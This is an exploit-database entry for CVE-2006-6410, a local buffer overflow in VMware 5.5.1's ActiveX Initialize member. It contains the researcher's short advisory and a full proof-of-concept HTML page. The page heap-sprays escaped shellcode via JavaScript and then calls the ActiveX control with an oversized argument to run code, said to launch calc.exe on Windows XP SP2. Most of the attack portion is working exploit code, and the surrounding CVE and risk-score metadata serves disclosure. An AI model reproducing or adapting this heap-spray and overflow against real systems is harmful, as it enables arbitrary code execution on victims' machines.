VMware 5.5.1 - 'ActiveX' Local Buffer Overflow

🗓️ 27 Aug 2006 00:00:00Reported by c0ntexType

VMware 5.5.1 'ActiveX' Buffer Overflow in WinXP Pro SP

Reporter	Title	Published	Views	Family All 4
CVE	CVE-2006-6410	10 Dec 200602:00	–	cve
Cvelist	CVE-2006-6410	10 Dec 200602:00	–	cvelist
EUVD	EUVD-2006-6393	7 Oct 202500:30	–	euvd
NVD	CVE-2006-6410	10 Dec 200602:28	–	nvd

/*
 *****************************************************************************************************************
  $ An open security advisory #17 - VMWare ActiveX lame local overflow
 *****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org
  2: Bug Released: August 18th or so... 2006
  3: Bug Impact Rate: Code execution
  4: Bug Scope Rate: Local
 *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for commercial gain.
 *****************************************************************************************************************


 VMWare
 http://vmware.com

 "Revolutionize software development, testing and deployment in your enterprise with powerful virtual
 machine software for developers and system administrators. VMware Workstation delivers powerful
 virtual machine software for the technical professional."

 Since this is a local only for ActiveX component, it requires being emailed or distribution via some
 p2p file share network or p2p chat networks. Pretty useless :)

*/


<html>
<head>
<title>WinXP Pro SP2 lame local VMWare Buffer Overflow</title>
</head>
<body>
<center>
<br>
Discovered and developed by c0ntex - [email protected]<br>
Visit my website at http://www.open-security.org<br>
<br>
<h3>
This will exploit overflow and execute calc.exe on WinXP Pro SP2<br>
(fully patched) against VMWare 5.5.1 Initialize ActiveX member.<br>
</h3>
I have only found a bad solution to this bug. Due to the fact that<br>
my controlling assembler is a call dword ptr[reg] I need to point<br>
to a location I control, fine. However my payload is random pretty<br>
much every run. Therefor I fill half a HUGE  buffer with the address<br>
(pointer) to my evil buffer, which them trampolines me to shellcode<br>
<br>
call ptr [reg]<br>
[reg] -> 0xtrampoline<br>
0xtrampoline -> shellcode<br>
<br>
</center>
<script>
var buffa1 = unescape("%uedb0%u0d91")
do {
buffa1 += buffa1;
}
while (buffa1.length < 0x500000);
var buffa2 = unescape("%u9090%u9090")
do {
buffa2 += buffa2;
}
while (buffa2.length < 0x800000);
buffa1 += buffa2;
buffa1 += unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
</script>
<object id="target" classid="clsid:F76E4799-379B-4362-BCC4-68B753D10744">
</object>
<script language="vbscript">
VmdbDb=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
VmdbPoll=200011744
target.Initialize VmdbDb, VmdbPoll
</script>
</body>

# milw0rm.com [2006-08-27]

27 Aug 2006 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.6

EPSS0.01371